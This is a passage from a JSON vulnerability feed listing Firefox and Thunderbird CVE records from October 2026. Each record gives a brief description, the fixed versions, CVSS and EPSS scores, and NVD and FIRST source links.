fixes.","publishedAt":"2026-10-13T13:17:27.460Z","updatedAt":"2026-10-19T13:16:54.953Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109766","asOf":"2026-10-19T13:16:54.953Z"},"epss":{"probability":0.0034,"percentile":0.27167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109766&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109766","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109766","type":"primary","publishedAt":"2026-10-13T13:17:27.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109766&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109766, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109762","cveId":"CVE-2026-109762","aliases":[],"kind":"vulnerability","title":"Incorrect boundary conditions in the SVG component.","summary":"Incorrect boundary conditions in the SVG component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Incorrect boundary conditions in the SVG component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:27.047Z","updatedAt":"2026-10-19T21:17:05.067Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109762","asOf":"2026-10-19T21:17:05.067Z"},"epss":{"probability":0.00349,"percentile":0.28301,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109762&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109762","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109762","type":"primary","publishedAt":"2026-10-13T13:17:27.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109762&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109762, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109760","cveId":"CVE-2026-109760","aliases":[],"kind":"vulnerability","title":"Mitigation bypass in the Networking: HTTP component.","summary":"Mitigation bypass in the Networking: HTTP component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Mitigation bypass in the Networking: HTTP component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:26.843Z","updatedAt":"2026-10-19T13:16:54.810Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109760","asOf":"2026-10-19T13:16:54.810Z"},"epss":{"probability":0.0034,"percentile":0.27167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109760&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109760","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109760","type":"primary","publishedAt":"2026-10-13T13:17:26.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109760&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109760, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109759","cveId":"CVE-2026-109759","aliases":[],"kind":"vulnerability","title":"Site isolation issue in the Networking component.","summary":"Site isolation issue in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Site isolation issue in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:26.740Z","updatedAt":"2026-10-19T13:16:54.667Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109759","asOf":"2026-10-19T13:16:54.667Z"},"epss":{"probability":0.00178,"percentile":0.07312,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109759&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109759","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109759","type":"primary","publishedAt":"2026-10-13T13:17:26.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109759&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109759, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109757","cveId":"CVE-2026-109757","aliases":[],"kind":"vulnerability","title":"Sandbox escape due to race condition in the Networking component.","summary":"Sandbox escape due to race condition in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Sandbox escape due to race condition in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:26.630Z","updatedAt":"2026-10-15T20:17:08.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109757","asOf":"2026-10-15T20:17:08.243Z"},"epss":{"probability":0.00258,"percentile":0.17274,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109757&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109757","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109757","type":"primary","publishedAt":"2026-10-13T13:17:26.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109757&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109757, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109756","cveId":"CVE-2026-109756","aliases":[],"kind":"vulnerability","title":"Privilege escalation in the DOM: Navigation component.","summary":"Privilege escalation in the DOM: Navigation component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Privilege escalation in the DOM: Navigation component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:26.530Z","updatedAt":"2026-10-14T04:18:16.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109756","asOf":"2026-10-14T04:18:16.933Z"},"epss":{"probability":0.00323,"percentile":0.25113,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109756&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109756","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109756","type":"primary","publishedAt":"2026-10-13T13:17:26.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109756&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109756, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109754","cveId":"CVE-2026-109754","aliases":[],"kind":"vulnerability","title":"Incorrect boundary conditions in the DOM: Editor component.","summary":"Incorrect boundary conditions in the DOM: Editor component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Incorrect boundary conditions in the DOM: Editor component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:26.310Z","updatedAt":"2026-10-19T13:16:54.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109754","asOf":"2026-10-19T13:16:54.520Z"},"epss":{"probability":0.00324,"percentile":0.25168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109754&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109754","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109754","type":"primary","publishedAt":"2026-10-13T13:17:26.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109754&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109754, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109753","cveId":"CVE-2026-109753","aliases":[],"kind":"vulnerability","title":"Incorrect boundary conditions in the Layout component.","summary":"Incorrect boundary conditions in the Layout component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Incorrect boundary conditions in the Layout component. This vulnerability was fixed in Firefox 158, Firefox ESR 115.43, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:26.207Z","updatedAt":"2026-10-15T20:17:07.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109753","asOf":"2026-10-15T20:17:07.910Z"},"epss":{"probability":0.00343,"percentile":0.27528,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109753&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109753","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109753","type":"primary","publishedAt":"2026-10-13T13:17:26.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109753&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109753, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109747","cveId":"CVE-2026-109747","aliases":[],"kind":"vulnerability","title":"Other issue in the Address Bar component.","summary":"Other issue in the Address Bar component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.","detail":"Other issue in the Address Bar component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:25.577Z","updatedAt":"2026-10-19T13:16:54.380Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109747","asOf":"2026-10-19T13:16:54.380Z"},"epss":{"probability":0.00282,"percentile":0.20537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109747&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109747","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109747","type":"primary","publishedAt":"2026-10-13T13:17:25.577Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109747&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109747, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109746","cveId":"CVE-2026-109746","aliases":[],"kind":"vulnerability","title":"Mitigation bypass in the DOM: Security component.","summary":"Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.","detail":"Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:25.467Z","updatedAt":"2026-10-19T13:16:54.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109746","asOf":"2026-10-19T13:16:54.240Z"},"epss":{"probability":0.003,"percentile":0.22437,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109746&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109746","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109746","type":"primary","publishedAt":"2026-10-13T13:17:25.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109746&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109746, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109744","cveId":"CVE-2026-109744","aliases":[],"kind":"vulnerability","title":"Other issue in the DOM: File component.","summary":"Other issue in the DOM: File component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Other issue in the DOM: File component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:25.253Z","updatedAt":"2026-10-19T12:17:00.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109744","asOf":"2026-10-19T12:17:00.387Z"},"epss":{"probability":0.00324,"percentile":0.25169,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109744&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109744","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109744","type":"primary","publishedAt":"2026-10-13T13:17:25.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109744&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109744, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109743","cveId":"CVE-2026-109743","aliases":[],"kind":"vulnerability","title":"Privilege escalation in the Panning and Zooming component.","summary":"Privilege escalation in the Panning and Zooming component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Privilege escalation in the Panning and Zooming component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:25.133Z","updatedAt":"2026-10-14T16:17:37.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109743","asOf":"2026-10-14T16:17:37.470Z"},"epss":{"probability":0.00351,"percentile":0.28452,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109743&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109743","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109743","type":"primary","publishedAt":"2026-10-13T13:17:25.133Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109743&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109743, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109739","cveId":"CVE-2026-109739","aliases":[],"kind":"vulnerability","title":"Privilege escalation in the WebExtensions component.","summary":"Privilege escalation in the WebExtensions component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.","detail":"Privilege escalation in the WebExtensions component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:24.480Z","updatedAt":"2026-10-14T16:17:37.327Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109739","asOf":"2026-10-14T16:17:37.327Z"},"epss":{"probability":0.00369,"percentile":0.30491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109739&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109739","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109739","type":"primary","publishedAt":"2026-10-13T13:17:24.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109739&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109739, scored 2026-10-25. This is a model estimate, not proof of 